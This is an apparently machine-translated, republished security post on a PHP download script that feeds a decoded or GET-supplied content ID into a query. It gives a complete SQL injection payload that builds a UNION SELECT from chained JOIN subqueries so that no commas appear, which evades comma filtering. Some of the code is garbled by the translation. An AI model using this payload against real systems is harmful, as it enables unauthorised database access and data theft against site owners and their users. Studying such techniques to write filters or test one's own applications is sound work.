UNION without commas

Source: Internet
Author: User

./Download. php

01...

02 if ($ link) {// encrypted ID

03 $ link = base64_decode (urldecode ($ link ));

04 $ link_array = explode (',', $ link );

05 if (is_array ($ link_array) & count ($ link_array)> 0 ){

06 $ url = $ link_array [0];

07 $ contentid = $ link_array [1];

08}

09} else {// implementation address

10 $ contentid = $ _ GET ['contentid']? $ _ GET ['tentid']: $ _ GET ['id'];

11}

12...

In this case, the UNION query cannot be used as a regular method.
Construct contentid as 'Union SELECT * FROM (SELECT 1) a JOIN (SELECT 2) B JOIN (SELECT 3) c JOIN (SELECT 4) d JOIN (SELECT 5) e JOIN (SELECT 6) f JOIN (SELECT 7) g JOIN (SELECT 8) h JOIN (SELECT 9) I JOIN (SELECT 10) j JOIN (SELECT 11) k JOIN (SELECT 12) l JOIN (SELECT 13) m JOIN (SELECT 14) n JOIN (SELECT 15) o JOIN (SELECT 16) p JOIN (SELECT 17) q JOIN (SELECT 18) r JOIN (SELECT 19) s )#
This avoids the appearance of commas.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.